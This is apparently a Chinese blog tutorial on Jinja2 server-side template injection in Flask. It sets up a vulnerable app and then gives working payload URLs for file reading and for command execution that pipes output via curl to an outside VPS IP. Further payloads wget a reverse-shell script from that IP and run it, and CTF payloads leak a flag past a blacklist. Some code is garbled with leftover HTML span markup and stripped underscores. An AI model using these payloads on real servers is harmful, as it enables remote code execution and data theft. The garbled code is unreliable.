python 模板注入

  今天学习了 python 的模板注入,这里自己搭建环境测试以下,参考文章:http://www.freebuf.com/articles/web/136118.html

  web 程序包括两个文件:

  flask-test.py 和 Config.py 文件

  

 #!/usr/bin/env python
# -*- coding:utf8 -*-

import hashlib
import logging
from datetime import timedelta

from flask import Flask
from flask import request
from flask import config
from flask import session
from flask import render_template_string

from Config import ProductionConfig

app = Flask(name)
handler
= logging.StreamHandler()
logging_format
= logging.Formatter(
'%(asctime)s - %(levelname)s - %(filename)s - %(funcName)s - %(lineno)s - %(message)s')
handler.setFormatter(logging_format)
app.logger.addHandler(handler)

app.config.secret_key = "\xe8\xf7\xb9\xae\xfb\x87\xea4<5\xe7\x97D\xf4\x88)Q\xbd\xe1j'\x83\x13\xc7"
app.config.from_object(ProductionConfig)
#将配置类中的配置导入程序
app.permanent_session_lifetime = timedelta(hours=6) #session cookies 有效期
page_size = 60
app.config[
'UPLOAD_DIR'] = '/var/www/html/upload'
app.config[
'PLUGIN_UPDATE_URL'] = 'https://ForrestX386.github.io/update'
app.config[
'PLUGIN_DOWNLOAD_ADDRESS'] = 'https://ForrestX386.github.io/download'

@app.route('/')
def hello_world():
  
return 'Hello World!'

@app.errorhandler(404)
def page_not_found(e):
  template
= '''
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.url)
  
return render_template_string(template), 404

if name == 'main':
  app.run()
Config.py
#!/usr/bin/env python
#
-- coding: UTF-8 --

class Config(object):
ACCOUNT
= 'vpgame'
PASSWORD
= 'win666666'

class DevlopmentConfig(Config):
  
pass

class TestingConfig(Config):
  
pass

class ProductionConfig(Config):
  HOST
= '127.0.0.1'
  PORT
= 65521
  DBUSERNAME
= 'vpgame'
  DBPASSWORD
= 'win666666'
  DBNAME
= 'vpgame'

  kali 上搭建有漏洞的 flask web 服务

  

 注:以上代码存在 ssti 漏洞点在于render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,我们知道Flask 中使用了Jinja2 作为模板渲染引擎,{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。

  解决方法:

 将 template 中的 ”’<h3> %s!</h3>”’ % request.url 更改为 ”’<h3>{{request.url}}</h3>”’ ,这样以来,Jinja2 在模板渲染的时候将 request.url 的值替换掉 {{request.url}}, 而不会对 request.url 内容进行二次渲染(这样即使 request.url 中含有{{}} 也不会进行渲染,而只是把它当做普通字符串)

 下面来利用这个漏洞搞点事情:

1.SSTI 利用之任意文件读取

关于类对象

instance.__class__ 可以获取当前实例的类对象

我们知道 python 中新式类(也就是显示继承 object 对象的类)都有一个属性 __class__ 可以获取到当前实例对应的类,随便选择一个简单的新

式类实例,比如”, 一个空字符串,就是一个新式类实例,所以”.__class__ 就可以获取到实例对应的类(也就是 <type ‘str’>)

类对象中的属性 __mro__

class.__mro__ 获取当前类对象的所有继承类 '

python 中类对象有一个属性 __mro__, 这个属性返回一个 tuple 对象,这个对象包含了当前类对象所有继承的基类,tuple 中元素的顺序就是 MRO(Method Resolution Order) 寻找的顺序

 

从结果中可以发现”对应的类对象 str 继承的顺序是 basestring->object

类对象中的方法 __subclasses__()    

每一个新式类都保留了它所有的子类的引用,__subclasses__() 这个方法返回了类的所有存活的子类的引用(注意是类对象引用,不是实例)

我们知道 python 中的类都是继承 object 的,所以只要调用 object 类对象的 __subclasses__() 方法就可以获取我们想要的类的对象,比如用于读取文件的 file 对象

通过以上的 python 代码就能够找到有读文件功能的类(可以加上大小写)

这里找到了 file 对象来进行文件的读取

这里成功利用 file 对象的匿名实例化,并为其传参要读取的文件名,通过调用其读文件函数 read 就可以对文件进行读取了。

https://xuanxuanblingbling.github.io/ctf/web/2019/01/02/python/ 这篇文章把 __class__,__mro__ 说的很清楚,赞。

2.SSTI 利用之命令执行

 我们还可以在 object 的所有子类中找可以引入了 os 模块的类,并以此来执行命令

 由于执行命令最终的结果无法回显到浏览器端,因此我们把结果发送到 vps 上,比如我们想执行 ls 命令,查看当前路径的文件,那么

 

 

 所以我们使用 payload

1
http://127.0.0.1:5000/{{''.__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__['os'].system('ls > tt.txt & cat tt.txt | xargs -I {} curl http://172.93.33.250/?{}')}}
http://127.0.0.1:5000/%7B%7B''.__class__.__mro__[-1].__subclasses__%28%29[71].__init__.__globals__['os'].system%28'ls%20%3E%20tt.txt%20&%20cat%20tt.txt%20|%20xargs%20-I%20%7B%7D%20curl%20http://172.93.33.250/?{}%27%29}}

这里使用了 linux 的管道命令,首先把 ls 的结果写入到 tt.txt 中,然后把里面的每一个文件名作为参数分别向自己的 vps 发送请求,所以最终只需要查看自己的 vps 的访问日志,就可以查看到目标路径下的所有文件名

这里用到了 xargs 来传递管道参数,xargs 的一个选项 -I,使用 -I 指定一个替换字符串 {},这个字符串在 xargs 扩展时会被替换掉,当 -I 与 xargs 结合使用,每一个参数命令都会被执行一次(注:xargs 的详细用法见 http://man.linuxde.net/xargs)

利用同样的方法,我们也可以继续查看其他命令的执行结果

3.SSTI 利用之远程代码执行

如果不能利用 os 模块在服务器端执行命令,那么还可以利用 susprocess 模块来执命令,比如利用 subprocess 的 check_output 函数

在代码中因为使用了 flask.config它是一个类似字典的对象,包含了应用程序所有的配置文件信息(你所有的用 app.config.xxx | app.config['xxx'] 配置信息 都在 config 这个上下文对象中),在很多的例子中,这个 config 对象包含了很多敏感的信息,比如数据库连接信息,连接第三方服务的 SECRET_KEY 等

使用 config.items() 就能够获得所有的配置信息

而 config.from_object(args) 能将其参数所指模块中的大写属性加入 config 对象实例中,通过执行 {{config.from_object('os')}} ,{{config.items()}}, 就能看到

在这里我们先把想要调用的命令执行函数作为配置信息,写入一个 py 文件中

 

http://127.0.0.1:5000/%7B%7B''.__class__.__mro__[-1].__subclasses__%28%29[40]%28'/tmp/tmp.cfg','w'%29.write%28'from%20subprocess%20import%20check_output%5Cn%5CnRUNCMD=check_output'%29%7D%7D

 

 

文件写入完成, 然后通过 config.from_pyfile 函数来导入指定 py 文件中的大写属性加入到 config 这个上下文对象中(这就是为什么用 RUNCMD 了,大写)

 

 

 

 

 此时 check_output 函数已经导入,也就是可以执行命令的函数已经导入到了 config 变量中。

 

 此时远程下载反弹 shell 的脚本

 

http://127.0.0.1:5000/%7B%7Bconfig['RUNCMD']%28'/usr/bin/wget%20http://172.93.33.250/shell.py%20-O%20/tmp/shell.py',%20shell=True%29%7D%7D

 此时已经在目标服务器上下载了 reverse 的 py 脚本,接下来只需要使其执行即可得到 shell

http://127.0.0.1:5000/%7B%7Bconfig.from_pyfile%28%22/tmp/shell.py%22%29%7D%7D

首先在自己的 vps 上用 nc 监听 21192 端口,然后通过 config.from_pyfile 来导入反弹 shell 的脚本,python 在导入模块的同时也会执行脚本中部分代码(class 和方法的定义不会执行),利用这一点,就可以执行反弹 shell 了

此时已经拿到了目标机器的 shell

 jinja2 ssti bypass:

https://0day.work/jinja2-template-injection-filter-bypasses/

 

利用继承连来泄露信息

import flask
import os

app = flask.Flask(name)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
return open(file).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

</span><span style="color: rgba(0, 0, 255, 1)">def</span><span style="color: rgba(0, 0, 0, 1)"> safe_jinja(s):
    s </span>= s.replace(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">(</span><span style="color: rgba(128, 0, 0, 1)">'</span>, <span style="color: rgba(128, 0, 0, 1)">''</span>).replace(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">)</span><span style="color: rgba(128, 0, 0, 1)">'</span>, <span style="color: rgba(128, 0, 0, 1)">''</span><span style="color: rgba(0, 0, 0, 1)">)
    blacklist </span>= [<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">config</span><span style="color: rgba(128, 0, 0, 1)">'</span>, <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">self</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">]
    </span><span style="color: rgba(0, 0, 255, 1)">return</span> <span style="color: rgba(128, 0, 0, 1)">''</span>.join([<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">{{% set {}=None%}}</span><span style="color: rgba(128, 0, 0, 1)">'</span>.format(c) <span style="color: rgba(0, 0, 255, 1)">for</span> c <span style="color: rgba(0, 0, 255, 1)">in</span> blacklist]) +<span style="color: rgba(0, 0, 0, 1)"> s

</span><span style="color: rgba(0, 0, 255, 1)">return</span><span style="color: rgba(0, 0, 0, 1)"> flask.render_template_string(safe_jinja(shrine))

if name == 'main':
app.run(debug
=True)

如果能用 config,则可以通过 config 来泄露 flag,因为 config 作为 flask 的一个全局变量存储着 flask 应用的信息

 

 如果能用 self 的话,则可以通过 self.__dict__ 来泄露 flag 

如果没有过滤 (), 则可以通过通过 __subclasses__() 结合基类找到 os 模块来泄露 flag,类似

().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").__dict__.environ['FLAG']

().class.bases[0].subclasses()[59].init.func_globals.values()[13][<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">eval</span><span style="color: rgba(128, 0, 0, 1)">'</span>]('import'.("os").dict.environ['FLAG']

## 作者给的; <type 'dict_keys'> 里本身就有 OS

[].
class.base.subclasses()[68].init.globals['os'].dict.environ['FLAG']

因为这里过滤了 config,self 和 self,所以要访问到 config, 所以首先得找到全局变量 current_app

__globals__['current_app'].config['FLAG']

top.app.config['FLAG']

可以通过以上两种形式来找 flag

比如 url_for 和 get_flashed_messages 的 __globals__ 中均含有 current_app,那么获得 current_app 以后就可以直接访问 config

用类似 x.__globals__ 跑一遍可以用的变量如下

 

 比如通过 url_for.__globals__['current_app'].config

 

 或者通过 get_flashed_messages.__globals__['current_app'].config